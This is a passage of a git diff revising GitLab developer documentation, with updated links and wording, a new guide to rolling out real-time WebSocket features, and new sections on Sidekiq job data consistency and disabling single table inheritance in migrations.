+| `.use-pg11` | Allows a job to run the `postgres` 11 and `redis` services (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific versions of the services). |
+| `.use-pg11-ee` | Same as `.use-pg11` but also use an `elasticsearch` service (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific version of the service). |
+| `.use-pg12` | Allows a job to use the `postgres` 12 and `redis` services (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific versions of the services). |
+| `.use-pg12-ee` | Same as `.use-pg12` but also use an `elasticsearch` service (see [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/global.gitlab-ci.yml) for the specific version of the service). |
| `.use-kaniko` | Allows a job to use the `kaniko` tool to build Docker images. |
| `.as-if-foss` | Simulate the FOSS project by setting the `FOSS_ONLY='1'` CI/CD variable. |
| `.use-docker-in-docker` | Allows a job to use Docker in Docker. |
diff --git a/doc/development/polymorphic_associations.md b/doc/development/polymorphic_associations.md
index b71e66c8671..f341255a7e1 100644
--- a/doc/development/polymorphic_associations.md
+++ b/doc/development/polymorphic_associations.md
@@ -62,19 +62,19 @@ AND source_id = 13083;
```
Here PostgreSQL can perform the query quite efficiently if both columns are
-indexed, but as the query gets more complex it may not be able to use these
-indexes efficiently.
+indexed. As the query gets more complex, it may not be able to use these
+indexes effectively.
## Mixed Responsibilities
-Similar to functions and classes a table should have a single responsibility:
+Similar to functions and classes, a table should have a single responsibility:
storing data with a certain set of pre-defined columns. When using polymorphic
-associations you are instead storing different types of data (possibly with
+associations, you are storing different types of data (possibly with
different columns set) in the same table.
## The Solution
-Fortunately there is a very simple solution to these problems: use a
+Fortunately, there is a solution to these problems: use a
separate table for every type you would otherwise store in the same table. Using
a separate table allows you to use everything a database may provide to ensure
consistency and query data efficiently, without any additional application logic
@@ -120,8 +120,8 @@ FROM pending_group_members
WHERE group_id = 4
```
-If you want to get both you can use a UNION, though you need to be explicit
-about what columns you want to SELECT as otherwise the result set uses the
+If you want to get both you can use a `UNION`, though you need to be explicit
+about what columns you want to `SELECT` as otherwise the result set uses the
columns of the first query. For example:
```sql
diff --git a/doc/development/product_analytics/event_dictionary.md b/doc/development/product_analytics/event_dictionary.md
index e8b8e0c4885..3931f0b35ab 100644
--- a/doc/development/product_analytics/event_dictionary.md
+++ b/doc/development/product_analytics/event_dictionary.md
@@ -1,8 +1,9 @@
---
redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
+remove_date: '2021-12-01'
---
This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-<!-- This redirect file can be deleted after December 1, 2021. -->
+<!-- This redirect file can be deleted after 2021-12-01. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/product_analytics/index.md b/doc/development/product_analytics/index.md
index e8b8e0c4885..3931f0b35ab 100644
--- a/doc/development/product_analytics/index.md
+++ b/doc/development/product_analytics/index.md
@@ -1,8 +1,9 @@
---
redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-guide/'
+remove_date: '2021-12-01'
---
This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/).
-<!-- This redirect file can be deleted after December 1, 2021. -->
+<!-- This redirect file can be deleted after 2021-12-01. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/profiling.md b/doc/development/profiling.md
index 81881a4d490..781138a6ade 100644
--- a/doc/development/profiling.md
+++ b/doc/development/profiling.md
@@ -49,7 +49,7 @@ ActiveRecord and ActionController log output to that logger. Further options are
documented with the method source.
```ruby
-Gitlab::Profiler.profile('/gitlab-org/gitlab-test', user: User.first, logger: Logger.new(STDOUT))
+Gitlab::Profiler.profile('/gitlab-org/gitlab-test', user: User.first, logger: Logger.new($stdout))
```
There is also a RubyProf printer available:
diff --git a/doc/development/prometheus_metrics.md b/doc/development/prometheus_metrics.md
index 09efb70f279..66e980978bf 100644
--- a/doc/development/prometheus_metrics.md
+++ b/doc/development/prometheus_metrics.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Adding to the library
-We strive to support the 2-4 most important metrics for each common system service that supports Prometheus. If you are looking for support for a particular exporter which has not yet been added to the library, additions can be made [to the `common_metrics.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/prometheus/common_metrics.yml) file.
+We strive to support the 2-4 most important metrics for each common system service that supports Prometheus. If you are looking for support for a particular exporter which has not yet been added to the library, additions can be made [to the `common_metrics.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/prometheus/common_metrics.yml) file.
### Query identifier
diff --git a/doc/development/pry_debugging.md b/doc/development/pry_debugging.md
index d662e6bbc54..402029164a7 100644
--- a/doc/development/pry_debugging.md
+++ b/doc/development/pry_debugging.md
@@ -12,8 +12,10 @@ To invoke the debugger, place `binding.pry` somewhere in your
code. When the Ruby interpreter hits that code, execution stops,
and you can type in commands to debug the state of the program.
-When debugging code in another process like Puma or Sidekiq, you can use `binding.remote_pry`.
-You can then connect to this session by running `pry-remote` from your terminal.
+When debugging code in another process like Puma or Sidekiq, you can use `binding.pry_shell`.
+You can then connect to this session by using the [pry-shell](https://github.com/meinac/pry-shell) executable.
+You can watch [this video](https://www.youtube.com/watch?v=Lzs_PL_BySo), for more information about
+how to use the `pry-shell`.
## `byebug` vs `binding.pry`
diff --git a/doc/development/query_recorder.md b/doc/development/query_recorder.md
index 3cc7b140e89..46866f67f68 100644
--- a/doc/development/query_recorder.md
+++ b/doc/development/query_recorder.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
QueryRecorder is a tool for detecting the [N+1 queries problem](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations) from tests.
-> Implemented in [spec/support/query_recorder.rb](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/support/helpers/query_recorder.rb) via [9c623e3e](https://gitlab.com/gitlab-org/gitlab-foss/commit/9c623e3e5d7434f2e30f7c389d13e5af4ede770a)
+> Implemented in [spec/support/query_recorder.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/helpers/query_recorder.rb) via [9c623e3e](https://gitlab.com/gitlab-org/gitlab-foss/commit/9c623e3e5d7434f2e30f7c389d13e5af4ede770a)
As a rule, merge requests [should not increase query counts](merge_request_performance_guidelines.md#query-counts). If you find yourself adding something like `.includes(:author, :assignee)` to avoid having `N+1` queries, consider using QueryRecorder to enforce this with a test. Without this, a new feature which causes an additional model to be accessed can silently reintroduce the problem.
diff --git a/doc/development/rake_tasks.md b/doc/development/rake_tasks.md
index c6c3d39c57f..8d20c2b738e 100644
--- a/doc/development/rake_tasks.md
+++ b/doc/development/rake_tasks.md
@@ -236,7 +236,7 @@ task, then check the dimensions of the new sprite sheet and update the
## Update project templates
Starting a project from a template needs this project to be exported. On a
-up to date master branch run:
+up to date main branch run:
```shell
gdk start
@@ -247,7 +247,7 @@ git commit
git push -u origin update-project-templates
```
-Now create a merge request and merge that to master.
+Now create a merge request and merge that to main.
## Generate route lists
@@ -263,7 +263,7 @@ RESTful API verbs.
For the Rails controllers, run:
```shell
-bundle exec rake routes
+bundle exec rails routes
```
Since these take some time to create, it's often helpful to save the output to
diff --git a/doc/development/reactive_caching.md b/doc/development/reactive_caching.md
index 0223f5d91d6..b6878ee48f1 100644
--- a/doc/development/reactive_caching.md
+++ b/doc/development/reactive_caching.md
@@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# `ReactiveCaching`
-> This doc refers to [`reactive_caching.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/reactive_caching.rb).
+> This doc refers to [`reactive_caching.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/concerns/reactive_caching.rb).
The `ReactiveCaching` concern is used for fetching some data in the background and storing it
in the Rails cache, keeping it up-to-date for as long as it is being requested. If the
diff --git a/doc/development/real_time.md b/doc/development/real_time.md
new file mode 100644
index 00000000000..df725a36a93
--- /dev/null
+++ b/doc/development/real_time.md
@@ -0,0 +1,97 @@
+---
+stage: Plan
+group: Project Management
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Real-Time Features
+
+This guide contains instructions on how to safely roll out new real-time
+features.
+
+Real-time features are implemented using GraphQL Subscriptions.
+[Developer documentation](api_graphql_styleguide.md#subscriptions) is available.
+
+WebSockets are a relatively new technology at GitLab, and supporting them at
+scale introduces some challenges. For that reason, new features should be rolled
+out using the instructions below.
+
+## Reuse an existing WebSocket connection
+
+Features reusing an existing connection incur minimal risk. Feature flag rollout
+is recommended in order to give more control to self-hosting customers. However,
+it is not necessary to roll out in percentages, or to estimate new connections for
+GitLab.com.
+
+## Introduce a new WebSocket connection
+
+Any change that introduces a WebSocket connection to part of the GitLab application
+incurs some scalability risk, both to nodes responsible for maintaining open
+connections and on downstream services; such as Redis and the primary database.
+
+### Estimate peak connections
+
+The first real-time feature to be fully enabled on GitLab.com was
+[real-time assignees](https://gitlab.com/gitlab-org/gitlab/-/issues/17589). By comparing
+peak throughput to the issue page against peak simultaneous WebSocket connections it is
+possible to crudely estimate that each 1 request per second adds
+approximately 4200 WebSocket connections.
+
+To understand the impact a new feature might have, sum the peak throughput (RPS)
+to the pages it originates from (`n`) and apply the formula:
+
+```ruby
+(n * 4200) / peak_active_connections
+```
+
+Current active connections are visible on
+[this Grafana chart](https://dashboards.gitlab.net/d/websockets-main/websockets-overview?viewPanel=1357460996&orgId=1).
+
+This calculation is crude, and should be revised as new features are
+deployed. It yields a rough estimate of the capacity that must be
+supported, as a proportion of existing capacity.
+
+### Graduated roll-out
+
+New capacity may need to be provisioned to support your changes, depending on
+current saturation and the proportion of new connections required. While
+Kubernetes makes this relatively easy in most cases, there remains a risk to
+downstream services.
+
+To mitigate this, ensure that the code establishing the new WebSocket connection
+is feature flagged and defaulted to `off`. A careful, percentage-based roll-out
+of the feature flag ensures that effects can be observed on the [WebSocket
+dashboard](https://dashboards.gitlab.net/d/websockets-main/websockets-overview?orgId=1)
+
+1. Create a
+ [feature flag roll-out](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20Flag%20Roll%20Out.md)
+ issue.
+1. Add the estimated new connections required under the **What are we expecting to happen** section.
+1. Copy in a member of the Plan and Scalability teams to estimate a percentage-based
+ roll-out plan.
+
+## Backward compatibility
+
+For the duration of the feature flag roll-out and indefinitely thereafter,
+real-time features must be backward-compatible, or at least degrade
+gracefully. Not all customers have Action Cable enabled, and further work
+needs to be done before Action Cable can be enabled by default.
+
+Making real-time a requirement represents a breaking change, so the next
+opportunity to do this is version 15.0.
+
+## Enable Real-Time by default
+
+Mounting the Action Cable library adds minimal memory footprint. However,
+serving WebSocket requests introduces additional memory requirements. For this
+reason, enabling Action Cable by default requires additional work; perhaps
+to reduce overall memory usage, including a known issue with Workhorse, but at
+least to revise Reference Architectures.
+
+## Real-time infrastructure on GitLab.com
+
+On GitLab.com, WebSocket connections are served from dedicated infrastructure,
+entirely separate from the regular Web fleet and deployed with Kubernetes. This
+limits risk to nodes handling requests but not to shared services. For more
+information on the WebSockets Kubernetes deployment see
+[this epic](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/355).
diff --git a/doc/development/redis.md b/doc/development/redis.md
index c7111db0cdc..893fe1dcbcd 100644
--- a/doc/development/redis.md
+++ b/doc/development/redis.md
@@ -18,8 +18,9 @@ Redis instance.
On GitLab.com, we use [separate Redis
instances](../administration/redis/replication_and_failover.md#running-multiple-redis-clusters).
-(We do not currently use [ActionCable on
-GitLab.com](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/228)).
+See the [Redis SRE guide](https://gitlab.com/gitlab-com/runbooks/-/blob/master/docs/redis/redis-survival-guide-for-sres.md)
+for more details on our setup.
+We do not currently use [ActionCable on GitLab.com](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/228).
Every application process is configured to use the same Redis servers, so they
can be used for inter-process communication in cases where [PostgreSQL](sql.md)
@@ -158,7 +159,7 @@ following is true:
### `Gitlab::Redis::{Cache,SharedState,Queues}`
These classes wrap the Redis instances (using
-[`Gitlab::Redis::Wrapper`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/wrapper.rb))
+[`Gitlab::Redis::Wrapper`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/redis/wrapper.rb))
to make it convenient to work with them directly. The typical use is to
call `.with` on the class, which takes a block that yields the Redis
connection. For example:
@@ -174,7 +175,7 @@ Gitlab::Redis::Cache.with { |redis| redis.sismember(key, value) }
### `Gitlab::Redis::Boolean`
In Redis, every value is a string.
-[`Gitlab::Redis::Boolean`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/boolean.rb)
+[`Gitlab::Redis::Boolean`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/redis/boolean.rb)
makes sure that booleans are encoded and decoded consistently.
### `Gitlab::Redis::HLL`
@@ -187,19 +188,19 @@ elements with low memory usage. (In addition to the `PFCOUNT` documentation,
Thoughtbot's article on [HyperLogLogs in Redis](https://thoughtbot.com/blog/hyperloglogs-in-redis)
provides a good background here.)
-[`Gitlab::Redis::HLL`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/hll.rb)
+[`Gitlab::Redis::HLL`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/redis/hll.rb)
provides a convenient interface for adding and counting values in HyperLogLogs.
### `Gitlab::SetCache`
For cases where we need to efficiently check the whether an item is in a group
of items, we can use a Redis set.
-[`Gitlab::SetCache`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/set_cache.rb)
+[`Gitlab::SetCache`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/set_cache.rb)
provides an `#include?` method that uses the
[`SISMEMBER`](https://redis.io/commands/sismember) command, as well as `#read`
to fetch all entries in the set.
This is used by the
-[`RepositorySetCache`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/repository_set_cache.rb)
+[`RepositorySetCache`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/repository_set_cache.rb)
to provide a convenient way to use sets to cache repository data like branch
names.
diff --git a/doc/development/reference_processing.md b/doc/development/reference_processing.md
index 23c0861081d..2fd0ce51b39 100644
--- a/doc/development/reference_processing.md
+++ b/doc/development/reference_processing.md
@@ -37,18 +37,18 @@ the tools that identify short-code and URI references from markup documents and
transform them into structured links to the resources they represent.
For example, the class
-[`Banzai::Filter::IssueReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/filter/issue_reference_filter.rb)
+[`Banzai::Filter::IssueReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/filter/issue_reference_filter.rb)
is responsible for handling references to issues, such as
`gitlab-org/gitlab#123` and `https://gitlab.com/gitlab-org/gitlab/-/issues/200048`.
All reference filters are instances of [`HTML::Pipeline::Filter`](https://www.rubydoc.info/github/jch/html-pipeline/HTML/Pipeline/Filter),
-and inherit (often indirectly) from [`Banzai::Filter::ReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/filter/reference_filter.rb).
+and inherit (often indirectly) from [`Banzai::Filter::ReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/filter/reference_filter.rb).
`HTML::Pipeline::Filter` has a simple interface consisting of `#call`, a void
method that mutates the current document. `ReferenceFilter` provides methods
that make defining suitable `#call` methods easier. Most reference filters
however do not inherit from either of these classes directly, but from
-[`AbstractReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/filter/abstract_reference_filter.rb),
+[`AbstractReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/filter/abstract_reference_filter.rb),
which provides a higher-level interface.
Subclasses of `AbstractReferenceFilter` generally do not override `#call`; instead,
@@ -65,7 +65,7 @@ a minimum implementation of `AbstractReferenceFilter` should define:
This is used to:
- Find the regular expressions used to find references. The class should
- include [`Referable`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/referable.rb)
+ include [`Referable`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/concerns/referable.rb)
and thus define two regular expressions: `.link_reference_pattern` and
`.reference_pattern`, both of which should contain a named capture group
named the value of `ReferenceFilter.object_sym`.
@@ -75,7 +75,7 @@ a minimum implementation of `AbstractReferenceFilter` should define:
- `.parse_symbol(string)`: parse the text value to an object identifier (`#to_i` by default).
- `#record_identifier(record)`: the inverse of `.parse_symbol`, that is, transform a domain object to an identifier (`#id` by default).
- `#url_for_object(object, parent_object)`: generate the URL for a domain object.
-- `#find_object(parent_object, id)`: given the parent (usually a [`Project`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/project.rb))
+- `#find_object(parent_object, id)`: given the parent (usually a [`Project`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/project.rb))
and an identifier, find the object. For example, this in a reference filter for
merge requests, this might be `project.merge_requests.where(iid: iid)`.
@@ -113,7 +113,7 @@ method: `#parent_records(parent, set_of_identifiers)`, which must return an
enumerable of domain objects.
This allows such classes to define `#find_object` (as
-[`IssuableReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/filter/issuable_reference_filter.rb)
+[`IssuableReferenceFilter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/filter/issuable_reference_filter.rb)
does) as:
```ruby
@@ -160,7 +160,7 @@ these sensitive pieces of data. This is what `ReferenceParser` classes do.
A reference parser is linked to the object that it handles by the link
advertising this relationship in the `data-reference-type` attribute (set by the
reference filter). This is used by the
-[`ReferenceRedactor`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/reference_redactor.rb)
+[`ReferenceRedactor`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/reference_redactor.rb)
to compute which nodes should be visible to users:
```ruby
@@ -189,7 +189,7 @@ each reference parser must:
- Be placed in the `Banzai::ReferenceParser` namespace.
- Implement the `.nodes_visible_to_user(user, nodes)` method.
-In practice, all reference parsers inherit from [`BaseParser`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/reference_parser/base_parser.rb), and are implemented by defining:
+In practice, all reference parsers inherit from [`BaseParser`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/reference_parser/base_parser.rb), and are implemented by defining:
- `.reference_type`, which should equal `ReferenceFilter.reference_type`.
- And by implementing one or more of:
diff --git a/doc/development/reusing_abstractions.md b/doc/development/reusing_abstractions.md
index 648f7104814..1e200e1f520 100644
--- a/doc/development/reusing_abstractions.md
+++ b/doc/development/reusing_abstractions.md
@@ -143,7 +143,7 @@ Service classes usually have an `execute` method, which can return a
In a successful case:
-``` ruby
+```ruby
response = ServiceResponse.success(message: 'Branch was deleted')
response.success? # => true
@@ -154,7 +154,7 @@ response.message # => 'Branch was deleted'
In a failed case:
-``` ruby
+```ruby
response = ServiceResponse.error(message: 'Unsupported operation')
response.success? # => false
@@ -165,7 +165,7 @@ response.message # => 'Unsupported operation'
An additional payload can also be attached:
-``` ruby
+```ruby
response = ServiceResponse.success(payload: { issue: issue })
response.payload[:issue] # => issue
diff --git a/doc/development/routing.md b/doc/development/routing.md
index 2c2f6b2a558..8fca9b00157 100644
--- a/doc/development/routing.md
+++ b/doc/development/routing.md
@@ -69,6 +69,18 @@ gitlab-org/gitlab/-/settings/repository
gitlab-org/serverless/runtimes/-/settings/repository
```
+## Changing existing routes
+
+Don't change a URL to an existing page, unless it's necessary. If you must make a change,
+make it unnoticeable for users, because we don't want them to receive `404 Not Found`
+if we can avoid it. This table should help:
+
+| URL description | Example | What to do |
+|---|---|---|
+| Can be used in scripts and automation | `snippet#raw` | Support both an old and new URL for one major release. Then, support a redirect from an old URL to a new URL for another major release. |
+| Likely to be saved or shared | `issue#show` | Add a redirect from an old URL to a new URL until the next major release. |
+| Limited use, unlikely to be shared | `admin#labels` | No extra steps required. |
+
## Migrating unscoped routes
Currently, the majority of routes are placed under the `/-/` scope. However,
diff --git a/doc/development/scalability.md b/doc/development/scalability.md
index 8ee6e57e4d1..b260618c220 100644
--- a/doc/development/scalability.md
+++ b/doc/development/scalability.md
@@ -24,7 +24,7 @@ users. We discuss each component below.
The PostgreSQL database holds all metadata for projects, issues, merge
requests, users, etc. The schema is managed by the Rails application
-[db/structure.sql](https://gitlab.com/gitlab-org/gitlab/blob/master/db/structure.sql).
+[db/structure.sql](https://gitlab.com/gitlab-org/gitlab/-/blob/master/db/structure.sql).
GitLab Web/API servers and Sidekiq nodes talk directly to the database by using a
Rails object relational model (ORM). Most SQL queries are accessed by using this
@@ -119,7 +119,7 @@ that backup, the database can apply the WAL logs in order until the
database has reached the target time.
On GitLab.com, Consul and Patroni work together to coordinate failovers with
-the read replicas. [Omnibus ships with both repmgr and Patroni](../administration/postgresql/replication_and_failover.md).
+the read replicas. [Omnibus ships with Patroni](../administration/postgresql/replication_and_failover.md).
#### Load-balancing
@@ -248,9 +248,9 @@ lifting of many activities, including:
- Processing CI builds and pipelines.
The full list of jobs can be found in the
-[`app/workers`](https://gitlab.com/gitlab-org/gitlab/tree/master/app/workers)
+[`app/workers`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/app/workers)
and
-[`ee/app/workers`](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/app/workers)
+[`ee/app/workers`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/app/workers)
directories in the GitLab codebase.
#### Runaway Queues
diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md
index 62cc2543fc4..74f65034383 100644
--- a/doc/development/secure_coding_guidelines.md
+++ b/doc/development/secure_coding_guidelines.md
@@ -129,7 +129,7 @@ way that increases execution time by several orders of magnitude.
### Impact
-The resource, for example Unicorn, Puma, or Sidekiq, can be made to hang as it takes
+The resource, for example Puma, or Sidekiq, can be made to hang as it takes
a long time to evaluate the bad regex match. The evaluation time may require manual
termination of the resource.
@@ -384,7 +384,7 @@ References:
### Select examples of past XSS issues affecting GitLab
- [Stored XSS in user status](https://gitlab.com/gitlab-org/gitlab-foss/issues/55320)
-- [XSS vulnerability on custom project templates form](https://gitlab.com/gitlab-org/gitlab/issues/197302)
+- [XSS vulnerability on custom project templates form](https://gitlab.com/gitlab-org/gitlab/-/issues/197302)
- [Stored XSS in branch names](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/55320)
- [Stored XSS in merge request pages](https://gitlab.com/gitlab-org/gitlab/-/issues/35096)
diff --git a/doc/development/sidekiq_style_guide.md b/doc/development/sidekiq_style_guide.md
index 82b6a54540f..c87870b088c 100644
--- a/doc/development/sidekiq_style_guide.md
+++ b/doc/development/sidekiq_style_guide.md
@@ -154,6 +154,12 @@ A good example of that would be a cache expiration worker.
A job scheduled for an idempotent worker is [deduplicated](#deduplication) when
an unstarted job with the same arguments is already in the queue.
+WARNING:
+For [data consistency jobs](#job-data-consistency), the deduplication is not compatible with the
+`data_consistency` attribute set to `:sticky` or `:delayed`.
+The reason for this is that deduplication always takes into account the latest binary replication pointer into account, not the first one.
+There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/325291) to improve this.
+
### Ensuring a worker is idempotent
Make sure the worker tests pass using the following shared example:
@@ -456,6 +462,68 @@ If we expect an increase of **less than 5%**, then no further action is needed.
Otherwise, please ping `@gitlab-org/scalability` on the merge request and ask
for a review.
+## Job data consistency
+
+In order to utilize [Sidekiq read-only database replicas capabilities](../administration/database_load_balancing.md#enable-the-load-balancer-for-sidekiq),
+set the `data_consistency` attribute of the job to `:always`, `:sticky`, or `:delayed`.
+
+| **Data Consistency** | **Description** |
+|--------------|-----------------------------|
+| `:always` | The job is required to use the primary database (default). |
+| `:sticky` | The job uses a replica as long as possible. It switches to primary either on write or long replication lag. It should be used on jobs that require to be executed as fast as possible. |
+| `:delayed` | The job always uses replica, but switches to primary on write. The job is delayed if there's a long replication lag. If the replica is not up-to-date with the next retry, it switches to the primary. It should be used on jobs where we are fine to delay the execution of a given job due to their importance such as expire caches, execute hooks, etc. |
+
+To set a data consistency for a job, use the `data_consistency` class method:
+
+```ruby
+class DelayedWorker
+ include ApplicationWorker
+
+ data_consistency :delayed
+
+ # ...
+end
+```
+
+For [idempotent jobs](#idempotent-jobs), the deduplication is not compatible with the
+`data_consistency` attribute set to `:sticky` or `:delayed`.
+The reason for this is that deduplication always takes into account the latest binary replication pointer into account, not the first one.
+There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/325291) to improve this.
+
+### `feature_flag` property
+
+The `feature_flag` property allows you to toggle a job's `data_consistency`,
+which permits you to safely toggle load balancing capabilities for a specific job.
+When `feature_flag` is disabled, the job defaults to `:always`, which means that the job will always use the primary database.
+
+The `feature_flag` property does not allow the use of
+[feature gates based on actors](../development/feature_flags/index.md).
+This means that the feature flag cannot be toggled only for particular
+projects, groups, or users, but instead, you can safely use [percentage of time rollout](../development/feature_flags/index.md).
+Note that since we check the feature flag on both Sidekiq client and server, rolling out a 10% of the time,
+will likely results in 1% (0.1 [from client]*0.1 [from server]) of effective jobs using replicas.
+
+Example:
+
+```ruby
+class DelayedWorker
+ include ApplicationWorker
+
+ data_consistency :delayed, feature_flag: :load_balancing_for_delayed_worker
+
+ # ...
+end
+```
+
+### Delayed job execution
+
+Scheduling workers that utilize [Sidekiq read-only database replicas capabilities](#job-data-consistency),
+(workers with `data_consistency` attribute set to `:sticky` or `:delayed`),
+by calling `SomeWorker.perform_async` results in a worker performing in the future (1 second in the future).
+
+This way, the replica has a chance to catch up, and the job will likely use the replica.
+For workers with `data_consistency` set to `:delayed`, it can also reduce the number of retried jobs.
+
## Jobs with External Dependencies
Most background jobs in the GitLab application communicate with other GitLab
diff --git a/doc/development/single_table_inheritance.md b/doc/development/single_table_inheritance.md
index 6b35d9f71da..aa4fe540b0d 100644
--- a/doc/development/single_table_inheritance.md
+++ b/doc/development/single_table_inheritance.md
@@ -22,3 +22,42 @@ The solution is very simple: just use a separate table for every type you'd
otherwise store in the same table. For example, instead of having a `keys` table
with `type` set to either `Key` or `DeployKey` you'd have two separate tables:
`keys` and `deploy_keys`.
+
+## In migrations
+
+Whenever a model is used in a migration, single table inheritance should be disabled.
+Due to the way Rails loads associations (even in migrations), failing to disable STI
+could result in loading unexpected code or associations which may cause unintended
+side effects or failures during upgrades.
+
+```ruby
+class SomeMigration < ActiveRecord::Migration[6.0]
+ class Services < ActiveRecord::Base
+ self.table_name = 'services'
+ self.inheritance_column = :_type_disabled
+ end
+
+ def up
+ ...
+```
+
+If nothing needs to be added to the model other than disabling STI or `EachBatch`,
+use the helper `define_batchable_model` instead of defining the class.
+This ensures that the migration loads the columns for the migration in isolation,
+and the helper disables STI by default.
+
+```ruby
+class EnqueueSomeBackgroundMigration < ActiveRecord::Migration[6.0]
+ disable_ddl_transaction!
+
+ def up
+ define_batchable_model('services').select(:id).in_batches do |relation|
+ jobs = relation.pluck(:id).map do |id|
+ ['ExtractServicesUrl', [id]]
+ end
+
+ BackgroundMigrationWorker.bulk_perform_async(jobs)
+ end
+ end
+ ...
+```
diff --git a/doc/development/snowplow.md b/doc/development/snowplow.md
index b5d3be5b2dd..aa1733fd42a 100644
--- a/doc/development/snowplow.md
+++ b/doc/development/snowplow.md
@@ -1,6 +1,8 @@
---
redirect_to: 'snowplow/index.md'
+remove_date: '2021-06-30'
---
This document was moved to [another location](snowplow/index.md).
+
<!-- This redirect file can be deleted after 2021-06-31. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/snowplow/index.md b/doc/development/snowplow/index.md
index ece72dbbf03..0bf4b9356e7 100644
--- a/doc/development/snowplow/index.md
+++ b/doc/development/snowplow/index.md
@@ -24,7 +24,7 @@ More useful links:
Snowplow is an enterprise-grade marketing and Product Intelligence platform which helps track the way users engage with our website and application.
-[Snowplow](https://github.com/snowplow/snowplow) consists of the following loosely-coupled sub-systems:
+[Snowplow](https://snowplowanalytics.com) consists of the following loosely-coupled sub-systems:
- **Trackers** fire Snowplow events. Snowplow has 12 trackers, covering web, mobile, desktop, server, and IoT.
- **Collectors** receive Snowplow events from trackers. We have three different event collectors, synchronizing events either to Amazon S3, Apache Kafka, or Amazon Kinesis.
@@ -35,35 +35,38 @@ Snowplow is an enterprise-grade marketing and Product Intelligence platform whic
![snowplow_flow](../img/snowplow_flow.png)
-## Snowplow schema
+### Useful links
-We have many definitions of Snowplow's schema. We have an active issue to [standardize this schema](https://gitlab.com/gitlab-org/gitlab/-/issues/207930) including the following definitions:
+- [Understanding the structure of Snowplow data](https://docs.snowplowanalytics.com/docs/understanding-your-pipeline/canonical-event/)
+- [Our Iglu schema registry](https://gitlab.com/gitlab-org/iglu)
+- [List of events used in our codebase (Event Dictionary)](dictionary.md)
-- Frontend and backend taxonomy as listed below
-- [Structured event taxonomy](#structured-event-taxonomy)
-- [Self describing events](https://github.com/snowplow/snowplow/wiki/Custom-events#self-describing-events)
-- [Iglu schema](https://gitlab.com/gitlab-org/iglu/)
-- [Snowplow authored events](https://github.com/snowplow/snowplow/wiki/Snowplow-authored-events)
-
